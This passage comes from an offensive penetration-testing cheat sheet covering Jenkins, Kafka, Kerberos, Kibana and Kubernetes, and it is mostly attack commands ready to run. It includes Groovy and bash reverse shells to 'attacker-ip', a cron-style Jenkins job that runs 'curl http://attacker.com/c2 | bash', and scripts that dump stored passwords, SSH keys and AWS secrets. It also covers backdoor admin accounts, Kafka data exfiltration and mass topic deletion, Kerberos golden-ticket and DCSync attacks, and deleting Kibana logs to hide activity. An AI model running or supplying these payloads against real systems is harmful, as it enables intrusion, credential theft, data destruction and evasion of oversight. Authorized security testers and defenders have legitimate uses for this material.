curl -u username:API_TOKEN http://target.com:8080/computer/api/json

# Node details
curl -u username:API_TOKEN http://target.com:8080/computer/(master)/api/json

# System information
curl -u username:API_TOKEN http://target.com:8080/systemInfo
```

Attack Vectors

Default and Weak Credentials

Jenkins installations often use default or weak credentials, especially in development environments.

Common Default Credentials

```
# Common default/weak credentials
admin:admin
jenkins:jenkins
admin:password
admin:jenkins
user:user
```

Credential Testing

```
# Try login
curl -X POST http://target.com:8080/j_acegi_security_check \
  -d "j_username=admin&j_password=admin" \
  -v
```

```
# Check response for session cookie
```

Brute Force Attack

Brute forcing Jenkins can reveal weak admin passwords, especially on development instances.

Using Hydra

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.com http-post-form \
  "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:F=loginError"
```

Using Metasploit

```
use auxiliary/scanner/http/jenkins_login
set RHOSTS target.com
set USERNAME admin
set PASS_FILE passwords.txt
run
```

Using Burp Suite Intruder

```
# Capture POST to /j_acegi_security_check
# Set j_password as payload position
```

Script Console Exploitation

The Jenkins script console allows execution of Groovy code with system privileges, making it a critical attack vector.

Basic Command Execution

```
// If script console is accessible
// http://target.com:8080/script

// Command execution
def cmd = "whoami"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout"
```

```
println "err> $serr"
```

Reverse Shell Payloads

```
// Reverse shell (Linux)
String host="attacker-ip";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)so.write(pi.read());
  while(pe.available()>0)so.write(pe.read());
  while(si.available()>0)po.write(si.read());
  so.flush();po.flush();
  Thread.sleep(50);
  try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();

// Windows reverse shell
String host="attacker-ip";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)so.write(pi.read());
  while(pe.available()>0)so.write(pe.read());
  while(si.available()>0)po.write(si.read());
  so.flush();po.flush();
  Thread.sleep(50);
  try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();
```

Job Creation and Exploitation

Create malicious Jenkins jobs to execute arbitrary commands on the system.

Create Malicious Job

```
# Create malicious job via API
curl -X POST http://target.com:8080/createItem?name=backdoor \
  -u username:API_TOKEN \
  --data-binary @job-config.xml \
  -H "Content-Type: application/xml"
```

Malicious Job Configuration

```
# job-config.xml with command execution
<project>
  <builders>
    <hudson.tasks.Shell>
      <command>bash -i &gt;&amp; /dev/tcp/attacker-ip/4444 0&gt;&amp;1</command>
    </hudson.tasks.Shell>
  </builders>
</project>
```

Trigger Malicious Build

```
# Trigger build
curl -X POST http://target.com:8080/job/backdoor/build \
  -u username:API_TOKEN
```

API Token Exploitation

Use Jenkins API tokens for authentication and privilege escalation.

Generate API Token

```
# Generate API token (requires login)
curl -X POST
http://target.com:8080/user/username/descriptorByName/jenkins.security.ApiTokenProperty/
generateNewToken \
  -u username:password \
  -d "newTokenName=my-token"
```

Use API Token

```
# Use API token
curl -u username:API_TOKEN http://target.com:8080/api/json
```

CVE Exploitation

Exploit known Jenkins vulnerabilities for system compromise.

Arbitrary File Read (CVE-2024-23897)

```
# CVE-2024-23897 (Arbitrary File Read)
# Jenkins < 2.441, < 2.426.3 LTS
java -jar jenkins-cli.jar -s http://target.com:8080/ help "@/etc/passwd"
```

Script Security Bypass (CVE-2019-1003000)

```
# CVE-2019-1003000 (Script Security Sandbox Bypass)
# Execute arbitrary code via Groovy script
```

Remote Code Execution (CVE-2018-1000861)

```
# CVE-2018-1000861 (Stapler Web Framework RCE)
# Use Metasploit
use exploit/multi/http/jenkins_metaprogramming
set RHOSTS target.com
set RPORT 8080
run
```

Plugin Vulnerabilities

Exploit vulnerabilities in Jenkins plugins for additional attack vectors.

```
# Git plugin - Command injection
# If Git plugin installed, check for command injection in repository URL

# Script Security plugin bypass
# Check for groovy script execution points

# Blue Ocean plugin - Path traversal
# CVE-2024-23898
curl http://target.com:8080/blue/rest/organizations/jenkins/pipelines/../../credentials/

# Credentials Binding plugin
# Check if credentials are exposed in build logs
```

Post-Exploitation

Credentials Harvesting

Extract stored credentials from Jenkins for lateral movement and privilege escalation.

Username/Password Credentials

```
// Dump all credentials (Script Console)
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
    Jenkins.instance,
    null,
    null
);

for (c in creds) {
  println(c.id + ":" + c.username + ":" + c.password);
}
```

SSH Key Credentials

```
// Dump SSH keys
def  sshCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey.class,
    Jenkins.instance,
    null,
    null
);

for (c in sshCreds) {
  println(c.id + ":" + c.username);
  println(c.privateKey);
}
```

AWS Credentials

```
// Dump AWS credentials
def awsCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.jenkins.plugins.awscredentials.AWSCredentials.class,
    Jenkins.instance,
    null,
    null
);

for (c in awsCreds) {
  println("ID: " + c.id);
  println("Access Key: " + c.accessKey);
  println("Secret Key: " + c.secretKey);
}
```

Persistence

Establish persistent access to Jenkins for long-term control.

Create Backdoor Admin User

```
// Create backdoor admin user (Script Console)
def hudsonRealm = new hudson.security.HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("backdoor", "P@ssw0rd123!")
Jenkins.instance.setSecurityRealm(hudsonRealm)
def strategy = new hudson.security.FullControlOnceLoggedInAuthorizationStrategy()
strategy.setAllowAnonymousRead(false)
Jenkins.instance.setAuthorizationStrategy(strategy)
Jenkins.instance.save()
```

Create Persistent C2 Job

```
// Create persistent job for C2
// Job that checks external server for commands
def jobConfig = """
<project>
  <triggers>
    <hudson.triggers.TimerTrigger>
      <spec>*/5 * * * *</spec>
    </hudson.triggers.TimerTrigger>
  </triggers>
  <builders>
    <hudson.tasks.Shell>
      <command>
curl http://attacker.com/c2 | bash
      </command>
    </hudson.tasks.Shell>
  </builders>
</project>
"""
```

Lateral Movement

Use Jenkins as a pivot point for network reconnaissance and lateral movement.

Network Discovery

```
// Enumerate network from Jenkins (Script Console)
def hosts = []
for (int i=1; i<255; i++) {
  try {
```

```
    def addr = InetAddress.getByName("192.168.1." + i)
    if (addr.isReachable(1000)) {
      hosts.add(addr.getHostAddress())
    }
  } catch (Exception e) {}
}
println hosts
```

Port Scanning

```
// Port scan
def scanPorts(String host, List ports) {
  def open = []
  ports.each { port ->
    try {
      def socket = new Socket()
      socket.connect(new InetSocketAddress(host, port), 1000)
      open.add(port)
      socket.close()
    } catch (Exception e) {}
  }
  return open
}

def result = scanPorts("192.168.1.100", [22, 80, 443, 3389, 8080])
println "Open ports: " + result
```

Source Code and Secret Extraction

Extract source code and sensitive information from Jenkins jobs and builds.

Download Source Code

```
# Download workspace with source code
curl -u username:API_TOKEN \
  http://target.com:8080/job/project/ws/*zip*/ws.zip \
  -o workspace.zip
```

Extract Secrets from Build Logs

```
# Extract secrets from build logs
for job in $(curl -s -u username:API_TOKEN
http://target.com:8080/api/json?tree=jobs[name] | jq -r '.jobs[].name'); do
  curl -s -u username:API_TOKEN http://target.com:8080/job/$job/lastBuild/consoleText | \
```

```
    grep -Ei "password|secret|token|key|credential" >> secrets.txt
done
```

Analyze Job Configurations

```
# Download job configurations
curl -u username:API_TOKEN http://target.com:8080/job/project/config.xml | \
  grep -Ei "password|secret|credential"
```

Cloud Infrastructure Access

Use Jenkins-stored cloud credentials to access cloud infrastructure.

```
// If AWS credentials are configured
// Use them to access AWS resources
def awsCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.jenkins.plugins.awscredentials.AWSCredentials.class,
    Jenkins.instance,
    null,
    null
)[0]

// Access AWS
def accessKey = awsCreds.accessKey
def secretKey = awsCreds.secretKey.plainText

// Now use AWS CLI or SDK with these credentials
println "export AWS_ACCESS_KEY_ID=" + accessKey
println "export AWS_SECRET_ACCESS_KEY=" + secretKey
```

Common Jenkins Paths

Path	Description	Requires Auth
/script	Groovy script console	Yes (admin)
/manage	Manage Jenkins	Yes (admin)
/credentials/	Credentials store	Yes (admin)

Path	Description	Requires Auth
/asynchPeople/	User directory	Varies
/systemInfo	System information	Yes
/script	Script console	Yes (admin)
/view/all/newJob	Create job	Yes
/pluginManager/	Plugin management	Yes (admin)
/computer/	Build nodes	Yes
/log/all	System logs	Yes

Useful Groovy Scripts

```
// List all environment variables
System.getenv().each { k, v -> println "${k}:${v}" }

// Read file
println new File('/etc/passwd').text

// Write file
new File('/tmp/backdoor.sh').write('#!/bin/bash\nnc attacker-ip 4444 -e /bin/bash')

// Execute command and get output
def proc = "ls -la /".execute()
println proc.text

// Download and execute
new URL('http://attacker.com/shell.sh').openStream().eachLine { line ->
    println line
}
"chmod +x /tmp/shell.sh".execute()
"/tmp/shell.sh".execute()
```

Useful Tools

Tool	Description	Primary Use Case
jenkins-cli.jar	Official CLI	Job management
curl	HTTP client	API interaction
Burp Suite	Web proxy	Request manipulation
Metasploit	Exploitation framework	Automated exploitation
Nmap	Network scanner	Service detection

Security Misconfigurations to Test

- ❌ No authentication required
- ❌ Anonymous read access enabled
- ❌ Script console accessible without authentication
- ❌ Default or weak credentials
- ❌ Signup enabled
- ❌ Outdated Jenkins version
- ❌ Vulnerable plugins installed
- ❌ Credentials stored in job configurations
- ❌ No HTTPS encryption
- ❌ CSRF protection disabled
- ❌ Permissive authorization strategy
- ❌ Build agents with excessive permissions

14.) Apache Kafka

Default Ports: 9092 (Broker), 9093 (SSL), 2181 (Zookeeper)

Apache Kafka is a distributed event streaming platform used for building real-time data pipelines and streaming applications. It's designed for high-throughput, fault-tolerant, and scalable message processing. Kafka is widely used in microservices architectures, log aggregation, real-time analytics, and event-driven systems. Misconfigured Kafka instances can expose sensitive data streams, allow message injection, and provide paths to compromise connected systems.

Connect

Using kafka-console-consumer

The console consumer allows you to read messages from Kafka topics in real-time.

Basic Message Consumption

```
# Consume from topic
kafka-console-consumer --bootstrap-server target.com:9092 --topic topic-name --from-beginning

# With consumer group
kafka-console-consumer --bootstrap-server target.com:9092 \
  --topic topic-name \
  --group my-group \
  --from-beginning

# Consume latest messages only
kafka-console-consumer --bootstrap-server target.com:9092 --topic topic-name
```

Authenticated Consumption

```
# With authentication (if SASL enabled)
kafka-console-consumer --bootstrap-server target.com:9092 \
  --topic topic-name \
  --consumer-property security.protocol=SASL_PLAINTEXT \
  --consumer-property sasl.mechanism=PLAIN \
  --consumer-property sasl.jaas.config='org.apache.kafka.common.security.plain.PlainLoginModule required username="user" password="password";'
```

Using kafka-console-producer

The console producer allows you to publish messages to Kafka topics.

Basic Message Production

```
# Produce messages to topic
kafka-console-producer --bootstrap-server target.com:9092 --topic topic-name

# Then type messages and press Enter
# Each line becomes a message
```

Advanced Production Methods

```
# From file
cat messages.txt | kafka-console-producer --bootstrap-server target.com:9092 --topic topic-name

# With key-value pairs
kafka-console-producer --bootstrap-server target.com:9092 \
  --topic topic-name \
  --property "parse.key=true" \
  --property "key.separator=:"
```

Using kafkacat (kcat)

kafkacat is a versatile command-line Kafka producer and consumer.

Basic kafkacat Operations

```
# List metadata (topics, brokers)
kafkacat -b target.com:9092 -L

# Consume messages
kafkacat -b target.com:9092 -t topic-name -C

# Produce messages
echo "test message" | kafkacat -b target.com:9092 -t topic-name -P
```

Advanced kafkacat Features

```
# Consumer with offset
kafkacat -b target.com:9092 -t topic-name -C -o beginning

# JSON output
kafkacat -b target.com:9092 -t topic-name -C -J
```

Recon

Service Detection with Nmap

Use Nmap to detect Kafka brokers and check for open ports:

nmap -p 9092,9093,2181 -sV target.com

Banner Grabbing

```
# Kafka banner grab
echo "." | nc target.com 9092 | xxd

# Zookeeper detection
echo "dump" | nc target.com 2181
```

Cluster Discovery

Kafka brokers can be discovered through various methods including DNS, Zookeeper, or direct connection.

```
# List brokers via kafkacat
kafkacat -b target.com:9092 -L

# Get broker IDs
kafkacat -b target.com:9092 -L | grep "broker"

# Check Zookeeper (if accessible)
echo "dump" | nc target.com:2181
```

Enumeration

Topic Enumeration

Topics are the core of Kafka's publish-subscribe model and often contain sensitive data streams.

List and Describe Topics

```
# List all topics
kafka-topics --bootstrap-server target.com:9092 --list

# Using kafkacat
kafkacat -b target.com:9092 -L | grep topic

# Topic details
kafka-topics --bootstrap-server target.com:9092 --describe --topic topic-name
```

```
# All topic configurations
kafka-topics --bootstrap-server target.com:9092 --describe
```

Topic Analysis

```
# Count messages in topic
kafka-run-class kafka.tools.GetOffsetShell \
  --broker-list target.com:9092 \
  --topic topic-name \
  --time -1
```

Consumer Group Enumeration

Consumer groups track which messages have been processed and can reveal active consumers.

List Consumer Groups

```
# List consumer groups
kafka-consumer-groups --bootstrap-server target.com:9092 --list

# Describe consumer group
kafka-consumer-groups --bootstrap-server target.com:9092 \
  --describe --group group-name

# All groups
kafka-consumer-groups --bootstrap-server target.com:9092 --all-groups --describe
```

Consumer Group Analysis

```
# Check lag (unprocessed messages)
kafka-consumer-groups --bootstrap-server target.com:9092 \
  --describe --group group-name \
  --members
```

Message Content Analysis

Examining message content can reveal sensitive data, credentials, and application logic.

Sensitive Data Search

```
# Consume and analyze messages
kafka-console-consumer --bootstrap-server target.com:9092 \
  --topic topic-name \
```

```
  --from-beginning | grep -i "password\|secret\|token\|key"
```

Message Extraction and Analysis

```
# Save messages for offline analysis
kafkacat -b target.com:9092 -t topic-name -C -e > messages.txt

# Extract JSON messages
kafkacat -b target.com:9092 -t topic-name -C -J | jq .

# Count messages by pattern
kafkacat -b target.com:9092 -t topic-name -C | grep -c "error"
```

ACL and Permission Enumeration

Kafka Access Control Lists (ACLs) define who can access topics.

```
# List ACLs (requires authentication)
kafka-acls --bootstrap-server target.com:9092 --list

# ACLs for specific topic
kafka-acls --bootstrap-server target.com:9092 --list --topic topic-name

# Check if ACLs are enabled
# If no ACLs exist, Kafka may allow open access
```

Attack Vectors

No Authentication

Many Kafka installations lack authentication, allowing anyone to read/write messages.

Test Authentication

```
# Test if authentication is required
kafkacat -b target.com:9092 -L

# If broker list returns successfully, no auth required
```

Unauthorized Access

```
# Read all topics
for topic in $(kafkacat -b target.com:9092 -L | grep topic | awk '{print $2}'); do
  echo "[*] Topic: $topic"
  kafkacat -b target.com:9092 -t $topic -C -c 10
```

```
done
```

Message Injection

If you have producer access, you can inject malicious messages into topics.

Malicious Message Injection

```
# Inject malicious message
echo '{"user":"admin","action":"delete_all","confirmed":true}' | \
  kafkacat -b target.com:9092 -t commands -P

# Message poisoning for JSON consumers
echo '{"id":"<script>alert(1)</script>"}' | \
  kafkacat -b target.com:9092 -t user-events -P

# Inject code execution payload (if consumers eval messages)
echo '{"cmd":"__import__(\"os\").system(\"whoami\")"}' | \
  kafkacat -b target.com:9092 -t tasks -P
```

Denial of Service

```
# Flood topic with messages (DoS)
for i in {1..100000}; do
  echo "spam message $i" | kafkacat -b target.com:9092 -t topic -P
done
```

Message Interception

Reading sensitive data from Kafka topics without authorization can expose credentials, personal data, and business logic.

Topic Discovery

```
# Common sensitive topics to check
for topic in users passwords transactions payments logs audit events; do
  kafkacat -b target.com:9092 -t $topic -C -c 100 2>/dev/null && echo "[+] Found topic: $topic"
done
```

Real-time Monitoring

```
kafkacat -b target.com:9092 -t payment-events -C | \
  grep -i "credit_card\|ssn\|password"
```

Bulk Extraction

```
for topic in $(kafkacat -b target.com:9092 -L | grep topic | awk '{print $2}'); do
  kafkacat -b target.com:9092 -t $topic -C -e > "${topic}_messages.txt"
done
```

Zookeeper Exploitation

Kafka relies on Zookeeper for coordination - compromising Zookeeper compromises Kafka.

Zookeeper Access

```
# Connect to Zookeeper
echo "dump" | nc target.com:2181

# List Kafka nodes in Zookeeper
echo "ls /brokers/ids" | zkCli.sh -server target.com:2181

# Get broker information
echo "get /brokers/ids/0" | zkCli.sh -server target.com:2181
```

Configuration Manipulation

```
# Modify Kafka configuration via Zookeeper
echo "set /config/topics/topic-name {\"config\":{\"retention.ms\":\"1000\"}}" | zkCli.sh -
server target.com:2181
```

Post-Exploitation

Data Exfiltration

Extracting all messages from Kafka for offline analysis.

Export All Topics

```
# Export all topics
for topic in $(kafkacat -b target.com:9092 -L | grep topic | awk '{print $2}'); do
  echo "[*] Exfiltrating topic: $topic"
  kafkacat -b target.com:9092 -t $topic -C -e -o beginning > "${topic}_export.json"
  # -e: exit when last message received
  # -o beginning: start from first message
done
```

Compress and Transfer

```
# Compress and transfer
tar czf kafka_exfil.tar.gz *_export.json
# Transfer to attacker server
```

Topic Deletion (DoS)

Deleting topics can cause application failures and data loss.

Single Topic Deletion

```
# Delete topic (if delete.topic.enable=true)
kafka-topics --bootstrap-server target.com:9092 --delete --topic topic-name
```

Mass Topic Deletion

```
# Delete all topics
for topic in $(kafka-topics --bootstrap-server target.com:9092 --list); do
  kafka-topics --bootstrap-server target.com:9092 --delete --topic $topic
done
```

Consumer Group Manipulation

Manipulating consumer group offsets can cause message reprocessing or skipping.

Offset Reset to Beginning

```
# Reset consumer group to beginning (reprocess all messages)
kafka-consumer-groups --bootstrap-server target.com:9092 \
  --group group-name \
  --topic topic-name \
  --reset-offsets --to-earliest \
  --execute
```

Offset Reset to Latest

```
# Skip all unprocessed messages
kafka-consumer-groups --bootstrap-server target.com:9092 \
  --group group-name \
  --topic topic-name \
  --reset-offsets --to-latest \
  --execute
```

Kafka Security Mechanisms

Feature	Purpose	Bypass Risk
SASL/PLAIN	Username/password auth	Brute force, weak passwords
SASL/SCRAM	Salted challenge auth	Offline cracking if intercepted
SSL/TLS	Encryption in transit	MITM if cert validation disabled
ACLs	Authorization	Misconfiguration, overly permissive
Zookeeper ACLs	Coordination security	Direct Zookeeper access

Common Kafka Topics to Target

Topic Pattern	Likely Contains	Value
user	User data, credentials	High
auth	Authentication events	High
password	Password resets, changes	Critical
payment	Payment transactions	Critical
log	Application logs	Medium
event	User/system events	Medium
transaction	Business transactions	High
audit	Audit trails	Medium

Useful Tools

Tool	Description	Primary Use Case
kafkacat/kcat	Kafka CLI	Topic interaction
kafka-console-*	Official tools	Message operations
kafka-topics	Topic management	Topic operations
kafka-consumer-groups	Consumer management	Group operations
Burp Suite	Web proxy	API testing
zkCli	Zookeeper CLI	Zookeeper interaction

Security Misconfigurations

- ❌ No authentication (SASL disabled)
- ❌ No authorization (ACLs not configured)
- ❌ No encryption (plaintext communication)
- ❌ Zookeeper accessible without auth
- ❌ Exposed to internet
- ❌ Default ports open
- ❌ Auto-create topics enabled
- ❌ delete.topic.enable=true (topic deletion allowed)
- ❌ No message encryption at rest
- ❌ Overly permissive ACLs
- ❌ No audit logging
- ❌ Weak SASL credentials
- ❌ SSL certificate validation disabled

15.) **Kerberos**

Default Port: 88

Kerberos is a network authentication protocol designed to provide strong authentication for client/server applications using secret-key cryptography. Developed by MIT, it's the default authentication protocol in Windows Active Directory environments. Kerberos uses tickets to allow nodes to prove their identity over non-secure networks without transmitting passwords. The protocol involves a Key Distribution Center (KDC) that includes an Authentication Server (AS) and a Ticket Granting Server (TGS).

Connect

Using kinit (Get TGT)

Use the standard Kerberos client to obtain Ticket Granting Tickets.

```
# Request Ticket Granting Ticket
kinit username@DOMAIN.COM

# With password
echo 'password' | kinit username@DOMAIN.COM

# Check tickets
klist

# Destroy tickets
kdestroy
```

Using Impacket Tools

Use Impacket tools for advanced Kerberos operations and ticket management.

```
# Get TGT
getTGT.py DOMAIN/username:password

# Use ticket
export KRB5CCNAME=username.ccache

# Request service ticket
getST.py -spn service/hostname DOMAIN/username -k -no-pass
```

Recon

Service Detection with Nmap

Use Nmap to identify Domain Controllers and Kerberos services in Active Directory environments:

nmap -p 88 -sV target.com

Banner Grabbing

Use netcat to identify Kerberos servers and gather realm information:

```
# Using netcat (limited)
nc -vn target.com 88
```

Enumeration

Username Enumeration

Kerberos provides different error messages for valid and invalid usernames, enabling user enumeration without authentication.

Using kerbrute

```
# Using kerbrute
kerbrute userenum --dc target.com -d DOMAIN.COM users.txt
```

Using Nmap Scripts

```
# Using Nmap
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-
users.realm='DOMAIN.COM',userdb=users.txt target.com
```

Manual Username Enumeration

```
# Manual enumeration
for user in $(cat users.txt); do
  getTGT.py DOMAIN/$user -dc-ip target.com -no-pass 2>&1 | grep -v
"KDC_ERR_PREAUTH_REQUIRED"
done
```

SPN Enumeration (Service Discovery)

Service Principal Names (SPNs) identify services running under specific accounts and are prime targets for Kerberoasting attacks.

```
# Using GetUserSPNs (Impacket)
GetUserSPNs.py DOMAIN/username:password -dc-ip target.com
```

 # Without credentials (requires access to DC)
GetUserSPNs.py -request -dc-ip target.com DOMAIN/username

 # From Windows
setspn -T DOMAIN.COM -Q */*

AS-REP Roastable Users

Users with "Do not require Kerberos preauthentication" enabled can have their password hashes extracted without valid credentials.

 # Using GetNPUsers (Impacket)
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip target.com -format hashcat

 # Specific user
GetNPUsers.py DOMAIN/username -dc-ip target.com -no-pass

 # From Windows with PowerView
Get-DomainUser -PreauthNotRequired

Attack Vectors

Kerberoasting

Kerberoasting exploits service accounts with SPNs by requesting tickets that can be cracked offline.

Request Service Tickets

GetUserSPNs.py DOMAIN/username:password -dc-ip target.com -request -outputfile hashes.txt

Crack Kerberos Tickets

 # Using Hashcat (Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 hashes.txt rockyou.txt

 # Using John the Ripper
john --format=krb5tgs hashes.txt --wordlist=rockyou.txt

 # From Windows with Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

AS-REP Roasting

Exploit accounts that don't require Kerberos pre-authentication.

```
# Get AS-REP hashes
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -dc-ip target.com > asrep_hashes.txt

# Crack with hashcat (Kerberos 5 AS-REP etype 23)
hashcat -m 18200 asrep_hashes.txt rockyou.txt

# From Windows with Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
```

Password Spraying

Attempt common passwords across many accounts to avoid account lockouts.

```
# Using kerbrute
kerbrute passwordspray --dc target.com -d DOMAIN.COM users.txt 'Password123!'

# Using crackmapexec
crackmapexec smb target.com -u users.txt -p 'Password123!' --continue-on-success

# Multiple passwords
for pass in 'Winter2024!' 'Spring2024!' 'Password123!'; do
  kerbrute passwordspray --dc target.com -d DOMAIN.COM users.txt "$pass"
done
```

Golden Ticket Attack

Create forged TGT with stolen krbtgt hash to gain domain admin access.

Golden Ticket Creation

```
# Using Mimikatz (requires krbtgt hash)
kerberos::golden /user:Administrator /domain:DOMAIN.COM /sid:S-1-5-21-XXX-XXX-XXX /krbtgt:KRBTGT_HASH /id:500

# Using Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXX-XXX-XXX -domain DOMAIN.COM Administrator
```

Using Golden Tickets

```
# Set ticket
export KRB5CCNAME=Administrator.ccache
```

 # Access any resource
psexec.py DOMAIN/Administrator@target.com -k -no-pass

Silver Ticket Attack

Create forged service ticket with service account hash for specific service access.

Silver Ticket Creation

 # Using Mimikatz
kerberos::golden /user:Administrator /domain:DOMAIN.COM /sid:S-1-5-21-XXX-XXX-XXX /target:server.domain.com /service:cifs /rc4:SERVICE_HASH /id:500

 # Using Impacket
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-XXX-XXX-XXX -domain DOMAIN.COM -spn cifs/server.domain.com Administrator

Using Silver Tickets

 # Access the specific service
smbclient.py -k DOMAIN/Administrator@server.domain.com

Pass-the-Ticket

Use stolen Kerberos tickets to authenticate without knowing passwords.

Ticket Extraction and Conversion

 # Export ticket from Windows
mimikatz "sekurlsa::tickets /export"

 # Convert .kirbi to .ccache
ticketConverter.py ticket.kirbi ticket.ccache

Using Stolen Tickets

 # Use ticket
export KRB5CCNAME=ticket.ccache
psexec.py DOMAIN/username@target.com -k -no-pass

Post-Exploitation

Ticket Extraction

Extract Kerberos tickets from compromised systems for lateral movement.

Windows Ticket Extraction

```
# Using Mimikatz on compromised Windows
sekurlsa::tickets /export

# Using Rubeus
Rubeus.exe dump /service:krbtgt
```

Linux Ticket Extraction

```
# From Linux with tickey
impacket-getTGT DOMAIN/username:password
```

DCSync Attack

Extract password hashes from Domain Controller using DCSync technique.

```
# Using Mimikatz
lsadump::dcsync /user:DOMAIN\krbtgt
lsadump::dcsync /user:DOMAIN\Administrator

# Using Impacket
secretsdump.py DOMAIN/username:password@dc.domain.com

# Just DCSync (no SAM/LSA)
secretsdump.py -just-dc DOMAIN/username:password@dc.domain.com
```

Delegation Abuse

Exploit Kerberos delegation configurations for privilege escalation.

Delegation Discovery

```
# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained

# Find users with constrained delegation
Get-DomainUser -TrustedToAuth
```

Delegation Exploitation

```
# Exploit unconstrained delegation
# Compromise server with unconstrained delegation
# Wait for admin to connect
```

 # Extract their TGT from memory

Kerberos Ticket Types

Ticket	Description	Use Case
TGT	Ticket Granting Ticket	Initial authentication
TGS	Ticket Granting Service	Service access
Golden Ticket	Forged TGT	Full domain access
Silver Ticket	Forged TGS	Specific service access

Useful Tools

Tool	Description	Primary Use Case
kerbrute	Kerberos enumeration	Username/password spraying
Rubeus	Kerberos attack tool	Windows-based attacks
Mimikatz	Credential dumper	Ticket manipulation
Impacket	Python toolkit	Various Kerberos attacks
hashcat	Password cracker	Ticket cracking
John the Ripper	Password cracker	Hash cracking
PowerView	AD enumeration	Domain reconnaissance

Security Misconfigurations

- ❌ Pre-authentication not required

- ❌ Weak service account passwords
- ❌ RC4 encryption allowed
- ❌ Unconstrained delegation
- ❌ Excessive SPNs on accounts
- ❌ Long ticket lifetimes
- ❌ No monitoring of Kerberos events
- ❌ Weak krbtgt password
- ❌ Legacy encryption types enabled
- ❌ No PAC validation

16.) Kibana

Default Port: 5601

Kibana is an open-source data visualization and exploration tool used for log and time-series analytics. It provides powerful and beautiful dashboards for real-time visualization of data in Elasticsearch.

Connect

Accessing Kibana

To interact with Kibana, you will typically use a web browser to connect to its web interface. The default port for Kibana is 5601.

http://<target-ip>:5601

Recon

Detecting Kibana Service

Nmap can be used to detect whether the Kibana service is running on a target machine.

nmap -p5601 <target-ip>

Additionally, you can use a service detection script for more detailed information.

nmap --script http-kibana-detect -p 5601 <target-ip>

Enumeration

Enumerating Kibana Version

Knowing the version of Kibana running on the target can help identify known vulnerabilities specific to that version. You can usually find the version information on the login page or the about page.

Attack Vectors

Default Credentials

Often, Kibana installations may have default credentials that haven't been changed. Attempt to log in using:

- Username: elastic
- Password: changeme

curl -XPOST -u elastic:changeme http://<target-ip>:5601/api/security/v1/login

Kibana File Read Vulnerability (CVE-2019-7609)

This exploit allows an attacker to read arbitrary files on the Kibana server. Metasploit has a module for this exploit:

```
msfconsole
use exploit/linux/http/kibana_lfr
set RHOST <target-ip>
set RPORT 5601
exploit
```

Remote Code Execution via Kibana Timelion (CVE-2018-17246)

This utilized a vulnerability in the Timelion feature to achieve RCE.

```
msfconsole
use exploit/multi/http/kibana_timelion_rce
set RHOST <target-ip>
set RPORT 5601
exploit
```

Post-Exploitation

Maintaing Access

Create an administrative backdoor account if you have gathered credentials or achieved code execution.

```
curl -XPOST -u <privileged-user>:<password> http://<target-ip>:5601/api/security/v1/users -H 'Content-Type: application/json' -d '{
  "username" : "backdoor",
  "password" : "password",
  "roles" : [ "superuser" ]
}'
```

Dumping Data

Based on what Elasticsearch is logging, you can extract a lot from Kibana.

```
curl -XGET 'http://<target-ip>:9200/_cat/indices?v&pretty'
curl -XGET 'http://<target-ip>:9200/<index>/_search?pretty'
```

Cleaning Logs

If you have write permissions, you can manipulate or delete logs to cover your tracks.

```
curl -X POST "http://<target-ip>:9200/<index>/_delete_by_query" -H 'Content-Type:
application/json' -d'
{
  "query": {
    "match": {
      "message": "suspicious activity message"
    }
  }
}'
```

17.) Kubernetes API

Default Ports: 6443 (API Server), 10250 (Kubelet), 10255 (Read-only Kubelet), 8001 (Dashboard)

Kubernetes is an open-source container orchestration platform that automates deploying, scaling, and managing containerized applications. Originally developed by Google, it's now the industry standard for container orchestration. Kubernetes exposes multiple APIs that, if misconfigured, can lead to complete cluster compromise, access to sensitive secrets, and lateral movement across the entire infrastructure.

Connect

Using kubectl (Official CLI)

kubectl is the official Kubernetes command-line tool that allows you to run commands against Kubernetes clusters.

Basic kubectl Operations

```
# Check cluster access
kubectl cluster-info

# Get cluster version
kubectl version

# List all contexts
kubectl config get-contexts

# Switch context
kubectl config use-context context-name
```

Remote Cluster Access

```
# Access specific cluster
kubectl --server=https://target.com:6443 --insecure-skip-tls-verify get pods

# With authentication token
kubectl --server=https://target.com:6443 --token=TOKEN get pods
```

Using curl (Direct API Access)

You can interact with the Kubernetes API directly using HTTP requests.

Basic API Access

```
# Check if API is accessible
curl https://target.com:6443 --insecure

# With token authentication
curl https://target.com:6443/api/v1/namespaces \
  -H "Authorization: Bearer TOKEN" \
  --insecure
```

API Resource Access

```
# List pods
curl https://target.com:6443/api/v1/pods \
  -H "Authorization: Bearer TOKEN" \
  --insecure
```

Using Service Account Tokens

When inside a pod, you can use the mounted service account token to interact with the API.

